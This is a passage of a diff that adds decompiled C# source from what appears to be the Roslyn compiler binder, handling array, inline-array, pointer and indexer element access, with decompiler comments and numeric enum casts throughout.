analyzedArguments.Arguments[0], diagnostics, out indexOrRangeWellknownType); + if (boundExpression != null) + { + if (!TypeSymbol.IsInlineArrayElementFieldSupported(fieldSymbol)) + { + return BadIndexerExpression((SyntaxNode)(object)node, expr, analyzedArguments, null, diagnostics); + } + return bindInlineArrayElementAccess(node, expr, length, analyzedArguments, boundExpression, indexOrRangeWellknownType, fieldSymbol, diagnostics); + } + } + } + } + BindingDiagnosticBag bindingDiagnosticBag = diagnostics; + if (flag && ((BindingDiagnosticBag)diagnostics).AccumulatesDiagnostics) + { + bindingDiagnosticBag = BindingDiagnosticBag.GetInstance(diagnostics); + } + BoundExpression result = BindElementAccessCore((SyntaxNode)(object)node, expr, analyzedArguments, bindingDiagnosticBag); + if (bindingDiagnosticBag != diagnostics) + { + Diagnostic val = EnumerableExtensions.AsSingleton(((BindingDiagnosticBag)bindingDiagnosticBag).DiagnosticBag.AsEnumerableWithoutResolution()); + if (val != null && val.Code == 21) + { + IReadOnlyList arguments = val.Arguments; + if (arguments != null && arguments.Count == 1 && arguments[0] is TypeSymbol typeSymbol && typeSymbol.Equals(expr.Type, (TypeCompareKind)0)) + { + ((BindingDiagnosticBag)bindingDiagnosticBag).DiagnosticBag.Clear(); + Error(bindingDiagnosticBag, ErrorCode.ERR_InlineArrayBadIndex, ((SyntaxNode)node).Location); + } + } + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)bindingDiagnosticBag); + } + return result; + BoundExpression bindInlineArrayElementAccess(ExpressionSyntax expressionSyntax, BoundExpression boundExpression2, int num, AnalyzedArguments analyzedArguments2, BoundExpression convertedIndex, WellKnownType val2, FieldSymbol elementField, BindingDiagnosticBag bindingDiagnosticBag2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Invalid comparison between Unknown and I4 + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Invalid comparison between Unknown and I4 + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Invalid comparison between Unknown and I4 + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Invalid comparison between Unknown and I4 + //IL_0170: Unknown result type (might be due to invalid IL or missing references) + //IL_0177: Invalid comparison between Unknown and I4 + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Invalid comparison between Unknown and I4 + //IL_0205: Unknown result type (might be due to invalid IL or missing references) + //IL_0212: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_02aa: Unknown result type (might be due to invalid IL or missing references) + //IL_02b1: Invalid comparison between Unknown and I4 + //IL_0232: Unknown result type (might be due to invalid IL or missing references) + //IL_0239: Invalid comparison between Unknown and I4 + //IL_02b9: Unknown result type (might be due to invalid IL or missing references) + //IL_02bf: Invalid comparison between Unknown and I4 + //IL_02f5: Unknown result type (might be due to invalid IL or missing references) + if ((int)val2 != 0) + { + if ((int)val2 == 285) + { + GetWellKnownTypeMember((WellKnownMember)423, bindingDiagnosticBag2, null, (SyntaxNode)(object)expressionSyntax); + GetWellKnownTypeMember((WellKnownMember)424, bindingDiagnosticBag2, null, (SyntaxNode)(object)expressionSyntax); + } + GetWellKnownTypeMember((WellKnownMember)418, bindingDiagnosticBag2, null, (SyntaxNode)(object)expressionSyntax); + } + if (analyzedArguments2.Names.Count > 0) + { + Error(bindingDiagnosticBag2, ErrorCode.ERR_NamedArgumentForInlineArray, (CSharpSyntaxNode)expressionSyntax); + } + ReportRefOrOutArgument(analyzedArguments2, bindingDiagnosticBag2); + bool isValue = false; + WellKnownMember member; + WellKnownMember val3; + if (CheckValueKind((SyntaxNode)(object)expressionSyntax, boundExpression2, BindValueKind.Assignable | BindValueKind.RefersToLocation, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + member = (WellKnownMember)99; + val3 = (WellKnownMember)(((int)val2 == 285) ? 402 : 400); + } + else + { + member = (WellKnownMember)100; + val3 = (WellKnownMember)(((int)val2 == 285) ? 408 : 406); + GetWellKnownTypeMember((WellKnownMember)131, bindingDiagnosticBag2, null, (SyntaxNode)(object)expressionSyntax); + if (!CheckValueKind((SyntaxNode)(object)expressionSyntax, boundExpression2, BindValueKind.RefersToLocation, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + if ((int)val2 == 285) + { + Location location; + if (boundExpression2.Syntax.Parent is ConditionalAccessExpressionSyntax conditionalAccessExpressionSyntax && (object)conditionalAccessExpressionSyntax.Expression == boundExpression2.Syntax) + { + SyntaxTree syntaxTree = boundExpression2.Syntax.SyntaxTree; + int spanStart = boundExpression2.Syntax.SpanStart; + SyntaxToken operatorToken = conditionalAccessExpressionSyntax.OperatorToken; + TextSpan span = ((SyntaxToken)(ref operatorToken)).Span; + location = syntaxTree.GetLocation(TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End)); + } + else + { + location = boundExpression2.Syntax.GetLocation(); + } + Error(bindingDiagnosticBag2, ErrorCode.ERR_RefReturnLvalueExpected, location); + } + else + { + isValue = true; + } + } + } + ConstantValue constantValueOpt = convertedIndex.ConstantValueOpt; + if (constantValueOpt != null && (int)constantValueOpt.SpecialType == 13) + { + int int32Value = constantValueOpt.Int32Value; + checkInlineArrayBounds(convertedIndex.Syntax, int32Value, num, excludeEnd: true, bindingDiagnosticBag2); + } + else if ((int)val2 == 284) + { + checkInlineArrayBoundsForSystemIndex(convertedIndex, num, excludeEnd: true, bindingDiagnosticBag2); + } + else if ((int)val2 == 285 && convertedIndex is BoundRangeExpression boundRangeExpression) + { + BoundExpression leftOperandOpt = boundRangeExpression.LeftOperandOpt; + if (leftOperandOpt != null) + { + checkInlineArrayBoundsForSystemIndex(leftOperandOpt, num, excludeEnd: false, bindingDiagnosticBag2); + } + BoundExpression rightOperandOpt = boundRangeExpression.RightOperandOpt; + if (rightOperandOpt != null) + { + checkInlineArrayBoundsForSystemIndex(rightOperandOpt, num, excludeEnd: false, bindingDiagnosticBag2); + } + } + GetWellKnownTypeMember((WellKnownMember)130, bindingDiagnosticBag2, null, (SyntaxNode)(object)expressionSyntax); + GetWellKnownTypeMember(member, bindingDiagnosticBag2, null, (SyntaxNode)(object)expressionSyntax); + Symbol wellKnownTypeMember = GetWellKnownTypeMember(val3, bindingDiagnosticBag2, null, (SyntaxNode)(object)expressionSyntax); + if ((object)wellKnownTypeMember != null) + { + NamedTypeSymbol containingType = wellKnownTypeMember.ContainingType; + if ((object)containingType != null && (int)containingType.Kind == 11) + { + containingType.Construct(ImmutableArray.Create(elementField.TypeWithAnnotations)).CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(Compilation, Conversions, expressionSyntax.GetLocation(), bindingDiagnosticBag2)); + } + } + if (!Compilation.Assembly.RuntimeSupportsInlineArrayTypes) + { + Error(bindingDiagnosticBag2, ErrorCode.ERR_RuntimeDoesNotSupportInlineArrayTypes, (CSharpSyntaxNode)expressionSyntax); + } + CheckFeatureAvailability((SyntaxNode)(object)expressionSyntax, MessageID.IDS_FeatureInlineArrays, bindingDiagnosticBag2); + bindingDiagnosticBag2.ReportUseSite(elementField, (SyntaxNode)(object)expressionSyntax); + TypeSymbol type = (((int)val2 != 285) ? elementField.Type : Compilation.GetWellKnownType((WellKnownType)(((int)val3 == 408) ? 276 : 275)).Construct(ImmutableArray.Create(elementField.TypeWithAnnotations))); + return new BoundInlineArrayAccess((SyntaxNode)(object)expressionSyntax, boundExpression2, convertedIndex, isValue, val3, type); + } + static void checkInlineArrayBounds(SyntaxNode location, int index, int end, bool excludeEnd, BindingDiagnosticBag diagnostics2) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (index < 0 || (excludeEnd ? (index >= end) : (index > end))) + { + Error(diagnostics2, ErrorCode.ERR_InlineArrayIndexOutOfRange, SyntaxNodeOrToken.op_Implicit(location)); + } + } + void checkInlineArrayBoundsForSystemIndex(BoundExpression convertedIndex, int num2, bool excludeEnd, BindingDiagnosticBag diagnostics2) + { + SyntaxNode location; + int? num = InferConstantIndexFromSystemIndex(Compilation, convertedIndex, num2, out location); + if (num.HasValue) + { + checkInlineArrayBounds(location, num.GetValueOrDefault(), num2, excludeEnd, diagnostics2); + } + } + BoundExpression tryImplicitConversionToInlineArrayIndex(ExpressionSyntax node2, BoundExpression index, BindingDiagnosticBag diagnostics2, out WellKnownType reference) + { + reference = (WellKnownType)0; + BoundExpression boundExpression2 = TryImplicitConversionToArrayIndex(index, (SpecialType)13, (SyntaxNode)(object)node2, diagnostics2); + if (boundExpression2 == null) + { + boundExpression2 = TryImplicitConversionToArrayIndex(index, (WellKnownType)284, (SyntaxNode)(object)node2, diagnostics2); + if (boundExpression2 == null) + { + boundExpression2 = TryImplicitConversionToArrayIndex(index, (WellKnownType)285, (SyntaxNode)(object)node2, diagnostics2); + if (boundExpression2 != null) + { + reference = (WellKnownType)285; + } + } + else + { + reference = (WellKnownType)284; + } + } + return boundExpression2; + } + } + + internal static int? InferConstantIndexFromSystemIndex(CSharpCompilation compilation, BoundExpression convertedIndex, int length, out SyntaxNode location) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Invalid comparison between Unknown and I4 + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Invalid comparison between Unknown and I4 + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Invalid comparison between Unknown and I4 + //IL_0166: Unknown result type (might be due to invalid IL or missing references) + //IL_016c: Invalid comparison between Unknown and I4 + int? result = null; + location = null; + if (TypeSymbol.Equals(convertedIndex.Type, compilation.GetWellKnownType((WellKnownType)284), (TypeCompareKind)63)) + { + if (convertedIndex is BoundFromEndIndexExpression boundFromEndIndexExpression) + { + ConstantValue constantValueOpt = boundFromEndIndexExpression.Operand.ConstantValueOpt; + if (constantValueOpt != null && (int)constantValueOpt.SpecialType == 13) + { + int int32Value = constantValueOpt.Int32Value; + location = boundFromEndIndexExpression.Syntax; + result = length - int32Value; + } + } + else + { + if (convertedIndex is BoundConversion boundConversion) + { + BoundExpression operand = boundConversion.Operand; + if (operand != null) + { + ConstantValue constantValueOpt = operand.ConstantValueOpt; + if (constantValueOpt != null && (int)constantValueOpt.SpecialType == 13) + { + int int32Value2 = constantValueOpt.Int32Value; + location = operand.Syntax; + result = int32Value2; + goto IL_0192; + } + } + } + if (convertedIndex is BoundObjectCreationExpression boundObjectCreationExpression) + { + MethodSymbol constructor = boundObjectCreationExpression.Constructor; + if ((object)constructor != null) + { + ImmutableArray arguments = boundObjectCreationExpression.Arguments; + if (arguments.Length == 2 && boundObjectCreationExpression.ArgsToParamsOpt.IsDefaultOrEmpty && boundObjectCreationExpression.InitializerExpressionOpt == null && (object)constructor == compilation.GetWellKnownTypeMember((WellKnownMember)417)) + { + BoundExpression boundExpression = arguments[0]; + if (boundExpression != null) + { + ConstantValue constantValueOpt = boundExpression.ConstantValueOpt; + if (constantValueOpt != null && (int)constantValueOpt.SpecialType == 13) + { + int int32Value3 = constantValueOpt.Int32Value; + BoundExpression boundExpression2 = arguments[1]; + if (boundExpression2 != null) + { + constantValueOpt = boundExpression2.ConstantValueOpt; + if (constantValueOpt != null && (int)constantValueOpt.SpecialType == 7) + { + bool booleanValue = constantValueOpt.BooleanValue; + location = boundExpression.Syntax; + result = (booleanValue ? (length - int32Value3) : int32Value3); + } + } + } + } + } + } + } + } + } + goto IL_0192; + IL_0192: + return result; + } + + private BoundExpression BadIndexerExpression(SyntaxNode node, BoundExpression expr, AnalyzedArguments analyzedArguments, DiagnosticInfo errorOpt, BindingDiagnosticBag diagnostics) + { + if (!expr.HasAnyErrors) + { + diagnostics.Add((DiagnosticInfo?)(((object)errorOpt) ?? ((object)new CSDiagnosticInfo(ErrorCode.ERR_BadIndexLHS, expr.Display))), node.Location); + } + ImmutableArray childBoundNodes = BuildArgumentsForErrorRecovery(analyzedArguments).Add(expr); + return new BoundBadExpression(node, LookupResultKind.Empty, ImmutableArray.Empty, childBoundNodes, CreateErrorType(), hasErrors: true); + } + + private BoundExpression BindElementAccessCore(SyntaxNode node, BoundExpression expr, AnalyzedArguments arguments, BindingDiagnosticBag diagnostics) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected I4, but got Unknown + TypeKind typeKind = expr.Type.TypeKind; + switch (typeKind - 1) + { + case 0: + return BindArrayAccess(node, expr, arguments, diagnostics); + case 3: + return BindDynamicIndexer(node, expr, arguments, ImmutableArray.Empty, diagnostics); + case 8: + return BindPointerElementAccess(node, expr, arguments, diagnostics); + case 1: + case 6: + case 9: + case 10: + return BindIndexerAccess(node, expr, arguments, diagnostics); + default: + return BadIndexerExpression(node, expr, arguments, null, diagnostics); + } + } + + private BoundExpression BindArrayAccess(SyntaxNode node, BoundExpression expr, AnalyzedArguments arguments, BindingDiagnosticBag diagnostics) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Invalid comparison between Unknown and I4 + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Invalid comparison between Unknown and I4 + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + if (arguments.Names.Count > 0) + { + Error(diagnostics, ErrorCode.ERR_NamedArgumentForArray, SyntaxNodeOrToken.op_Implicit(node)); + } + ReportRefOrOutArgument(arguments, diagnostics); + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)expr.Type; + int rank = arrayTypeSymbol.Rank; + if (arguments.Arguments.Count != rank) + { + Error(diagnostics, ErrorCode.ERR_BadIndexCount, SyntaxNodeOrToken.op_Implicit(node), rank); + return new BoundArrayAccess(node, expr, BuildArgumentsForErrorRecovery(arguments), arrayTypeSymbol.ElementType, hasErrors: true); + } + BoundExpression[] array = new BoundExpression[arguments.Arguments.Count]; + WellKnownType indexOrRangeWellknownType = (WellKnownType)0; + for (int i = 0; i < arguments.Arguments.Count; i++) + { + BoundExpression index = arguments.Arguments[i]; + BoundExpression boundExpression = (array[i] = ConvertToArrayIndex(index, diagnostics, rank == 1, out indexOrRangeWellknownType)); + if (rank == 1 && !boundExpression.HasAnyErrors) + { + ConstantValue constantValueOpt = boundExpression.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null && constantValueOpt.IsNegativeNumeric) + { + Error(diagnostics, ErrorCode.WRN_NegativeArrayIndex, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax)); + } + } + } + TypeSymbol type = (((int)indexOrRangeWellknownType == 285) ? arrayTypeSymbol : arrayTypeSymbol.ElementType); + if ((int)indexOrRangeWellknownType == 284) + { + NamedTypeSymbol specialType = GetSpecialType((SpecialType)13, diagnostics, node); + BoundImplicitIndexerReceiverPlaceholder boundImplicitIndexerReceiverPlaceholder = new BoundImplicitIndexerReceiverPlaceholder(expr.Syntax, expr.IsEquivalentToThisReference, expr.Type) + { + WasCompilerGenerated = true + }; + ImmutableArray immutableArray = ImmutableArray.Create(new BoundImplicitIndexerValuePlaceholder(array[0].Syntax, specialType) + { + WasCompilerGenerated = true + }); + return new BoundImplicitIndexerAccess(node, expr, array[0], new BoundArrayLength(node, boundImplicitIndexerReceiverPlaceholder, specialType) + { + WasCompilerGenerated = true + }, boundImplicitIndexerReceiverPlaceholder, new BoundArrayAccess(node, boundImplicitIndexerReceiverPlaceholder, ImmutableArray.CastUp(immutableArray), type) + { + WasCompilerGenerated = true + }, immutableArray, type); + } + return new BoundArrayAccess(node, expr, ImmutableArrayExtensions.AsImmutableOrNull(array), type); + } + + private BoundExpression ConvertToArrayIndex(BoundExpression index, BindingDiagnosticBag diagnostics, bool allowIndexAndRange, out WellKnownType indexOrRangeWellknownType) + { + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + indexOrRangeWellknownType = (WellKnownType)0; + if (index.Kind == BoundKind.OutVariablePendingInference) + { + return ((OutVariablePendingInference)index).FailInference(this, diagnostics); + } + if (index.Kind == BoundKind.DiscardExpression && !index.HasExpressionType()) + { + return ((BoundDiscardExpression)index).FailInference(this, diagnostics); + } + SyntaxNode syntax = index.Syntax; + BoundExpression boundExpression = TryImplicitConversionToArrayIndex(index, (SpecialType)13, syntax, diagnostics) ?? TryImplicitConversionToArrayIndex(index, (SpecialType)14, syntax, diagnostics) ?? TryImplicitConversionToArrayIndex(index, (SpecialType)15, syntax, diagnostics) ?? TryImplicitConversionToArrayIndex(index, (SpecialType)16, syntax, diagnostics); + if (boundExpression == null && allowIndexAndRange) + { + boundExpression = TryImplicitConversionToArrayIndex(index, (WellKnownType)284, syntax, diagnostics); + if (boundExpression == null) + { + boundExpression = TryImplicitConversionToArrayIndex(index, (WellKnownType)285, syntax, diagnostics); + if (boundExpression != null) + { + indexOrRangeWellknownType = (WellKnownType)285; + GetWellKnownTypeMember((WellKnownMember)127, diagnostics, null, syntax); + } + } + else + { + indexOrRangeWellknownType = (WellKnownType)284; + GetWellKnownTypeMember((WellKnownMember)418, diagnostics, null, syntax); + } + } + if (boundExpression == null) + { + NamedTypeSymbol specialType = GetSpecialType((SpecialType)13, diagnostics, syntax); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(index, specialType, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + GenerateImplicitConversionError(diagnostics, syntax, conversion, index, specialType); + return CreateConversion(syntax, index, conversion, isCast: false, null, specialType, BindingDiagnosticBag.Discarded); + } + return boundExpression; + } + + private BoundExpression TryImplicitConversionToArrayIndex(BoundExpression expr, WellKnownType wellKnownType, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + TypeSymbol wellKnownType2 = GetWellKnownType(wellKnownType, ref useSiteInfo); + if (wellKnownType2.IsErrorType()) + { + return null; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + BoundExpression boundExpression = TryImplicitConversionToArrayIndex(expr, wellKnownType2, node, instance); + if (boundExpression != null) + { + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + return boundExpression; + } + + private BoundExpression TryImplicitConversionToArrayIndex(BoundExpression expr, SpecialType specialType, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + TypeSymbol specialType2 = GetSpecialType(specialType, instance, node); + BoundExpression boundExpression = TryImplicitConversionToArrayIndex(expr, specialType2, node, instance); + if (boundExpression != null) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + return boundExpression; + } + + private BoundExpression TryImplicitConversionToArrayIndex(BoundExpression expr, TypeSymbol targetType, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyImplicitConversionFromExpression(expr, targetType, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + if (!conversion.Exists) + { + return null; + } + if (conversion.IsDynamic) + { + conversion = conversion.SetArrayIndexConversionForDynamic(); + } + return CreateConversion(expr.Syntax, expr, conversion, isCast: false, null, targetType, diagnostics); + } + + private BoundExpression BindPointerElementAccess(SyntaxNode node, BoundExpression expr, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + if (analyzedArguments.Names.Count > 0) + { + Error(diagnostics, ErrorCode.ERR_NamedArgumentForArray, SyntaxNodeOrToken.op_Implicit(node)); + flag = true; + } + flag = flag || ReportRefOrOutArgument(analyzedArguments, diagnostics); + TypeSymbol pointedAtType = ((PointerTypeSymbol)expr.Type).PointedAtType; + ArrayBuilder arguments = analyzedArguments.Arguments; + if (arguments.Count != 1) + { + if (!flag) + { + Error(diagnostics, ErrorCode.ERR_PtrIndexSingle, SyntaxNodeOrToken.op_Implicit(node)); + } + return new BoundPointerElementAccess(node, expr, BadExpression(node, BuildArgumentsForErrorRecovery(analyzedArguments)).MakeCompilerGenerated(), CheckOverflowAtRuntime, refersToLocation: false, pointedAtType, hasErrors: true); + } + if (pointedAtType.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_VoidError, SyntaxNodeOrToken.op_Implicit(expr.Syntax)); + flag = true; + } + BoundExpression index = arguments[0]; + index = ConvertToArrayIndex(index, diagnostics, allowIndexAndRange: false, out var _); + return new BoundPointerElementAccess(node, expr, index, CheckOverflowAtRuntime, refersToLocation: false, pointedAtType, flag); + } + + private static bool ReportRefOrOutArgument(AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + int count = analyzedArguments.Arguments.Count; + for (int i = 0; i < count; i++) + { + RefKind val = analyzedArguments.RefKind(i); + if ((int)val != 0) + { + Error(diagnostics, ErrorCode.ERR_BadArgExtraRef, SyntaxNodeOrToken.op_Implicit(analyzedArguments.Argument(i).Syntax), i + 1, RefKindExtensions.ToArgumentDisplayString(val)); + return true; + } + } + return false; + } + + private BoundExpression BindIndexerAccess(SyntaxNode node, BoundExpression expr, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + LookupResult instance = LookupResult.GetInstance(); + LookupOptions options = ((expr.Kind == BoundKind.BaseReference) ? LookupOptions.UseBaseReferenceAccessibility : LookupOptions.Default); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupMembersWithFallback(instance, expr.Type, "this[]", 0, ref useSiteInfo, null, options); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + BoundExpression result; + if (!instance.IsMultiViable) + { + result = ((!TryBindIndexOrRangeImplicitIndexer(node, expr, analyzedArguments, diagnostics, out BoundImplicitIndexerAccess implicitIndexerAccess)) ? BadIndexerExpression(node, expr, analyzedArguments, instance.Error, diagnostics) : implicitIndexerAccess); + } + else + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + Enumerator enumerator = instance.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + instance2.Add((PropertySymbol)current); + } + result = BindIndexerOrIndexedPropertyAccess(node, expr, instance2, analyzedArguments, diagnostics); + instance2.Free(); + } + instance.Free(); + return result; + } + + private BoundExpression BindIndexedPropertyAccess(BoundPropertyGroup propertyGroup, bool mustHaveAllOptionalParameters, BindingDiagnosticBag diagnostics) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = propertyGroup.Syntax; + BoundExpression receiverOpt = propertyGroup.ReceiverOpt; + ImmutableArray properties = propertyGroup.Properties; + if (properties.All(s_isIndexedPropertyWithNonOptionalArguments)) + { + Error(diagnostics, mustHaveAllOptionalParameters ? ErrorCode.ERR_IndexedPropertyMustHaveAllOptionalParams : ErrorCode.ERR_IndexedPropertyRequiresParams, SyntaxNodeOrToken.op_Implicit(syntax), properties[0].ToDisplayString(s_propertyGroupFormat)); + return BoundIndexerAccess.ErrorAccess(syntax, receiverOpt, CreateErrorPropertySymbol(properties), ImmutableArray.Empty, default(ImmutableArray), default(ImmutableArray), properties); + } + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + BoundExpression result = BindIndexedPropertyAccess(syntax, receiverOpt, properties, instance, diagnostics); + instance.Free(); + return result; + } + + private BoundExpression BindIndexedPropertyAccess(SyntaxNode syntax, BoundExpression receiver, ImmutableArray propertyGroup, AnalyzedArguments arguments, BindingDiagnosticBag diagnostics) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(propertyGroup); + BoundExpression result = BindIndexerOrIndexedPropertyAccess(syntax, receiver, instance, arguments, diagnostics); + instance.Free(); + return result; + } + + private BoundExpression BindDynamicIndexer(SyntaxNode syntax, BoundExpression receiver, AnalyzedArguments arguments, ImmutableArray applicableProperties, BindingDiagnosticBag diagnostics) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + switch (receiver.Kind) + { + case BoundKind.BaseReference: + Error(diagnostics, ErrorCode.ERR_NoDynamicPhantomOnBaseIndexer, SyntaxNodeOrToken.op_Implicit(syntax)); + flag = true; + break; + case BoundKind.TypeOrValueExpression: + { + BoundTypeOrValueExpression boundTypeOrValueExpression = (BoundTypeOrValueExpression)receiver; + bool inStaticContext; + bool useType = IsInstance(boundTypeOrValueExpression.Data.ValueSymbol) && !HasThis(isExplicit: false, out inStaticContext); + receiver = ReplaceTypeOrValueReceiver(boundTypeOrValueExpression, useType, diagnostics); + break; + } + } + ImmutableArray arguments2 = BuildArgumentsForDynamicInvocation(arguments, diagnostics); + ImmutableArray immutableArray = arguments.RefKinds.ToImmutableOrNull(); + flag &= ReportBadDynamicArguments(syntax, arguments2, immutableArray, diagnostics, null); + return new BoundDynamicIndexerAccess(syntax, receiver, arguments2, arguments.GetNames(), immutableArray, applicableProperties, AssemblySymbol.DynamicType, flag); + } + + private BoundExpression BindIndexerOrIndexedPropertyAccess(SyntaxNode syntax, BoundExpression receiver, ArrayBuilder propertyGroup, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + //IL_01f9: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Unknown result type (might be due to invalid IL or missing references) + //IL_0212: Unknown result type (might be due to invalid IL or missing references) + //IL_01d7: Unknown result type (might be due to invalid IL or missing references) + OverloadResolutionResult instance = OverloadResolutionResult.GetInstance(); + bool allowRefOmittedArguments = receiver.IsExpressionOfComImportType(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + OverloadResolution.PropertyOverloadResolution(propertyGroup, receiver, analyzedArguments, instance, allowRefOmittedArguments, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + if (analyzedArguments.HasDynamicArgument && instance.HasAnyApplicableMember) + { + ImmutableArray candidatesPassingFinalValidation = GetCandidatesPassingFinalValidation(syntax, instance, receiver, default(ImmutableArray), diagnostics); + instance.Free(); + return BindDynamicIndexer(syntax, receiver, analyzedArguments, candidatesPassingFinalValidation, diagnostics); + } + ImmutableArray names = analyzedArguments.GetNames(); + ImmutableArray immutableArray = analyzedArguments.RefKinds.ToImmutableOrNull(); + BoundExpression result; + if (!instance.Succeeded) + { + ImmutableArray immutableArray2 = propertyGroup.ToImmutable(); + if (TryBindIndexOrRangeImplicitIndexer(syntax, receiver, analyzedArguments, diagnostics, out BoundImplicitIndexerAccess implicitIndexerAccess)) + { + return implicitIndexerAccess; + } + PropertySymbol propertySymbol = immutableArray2[0]; + string name = (propertySymbol.IsIndexer ? SyntaxFacts.GetText(SyntaxKind.ThisKeyword) : propertySymbol.Name); + instance.ReportDiagnostics(this, syntax.Location, syntax, diagnostics, name, null, null, analyzedArguments, immutableArray2, null, null); + ImmutableArray arguments = BuildArgumentsForErrorRecovery(analyzedArguments, immutableArray2); + PropertySymbol indexer = ((immutableArray2.Length == 1) ? immutableArray2[0] : 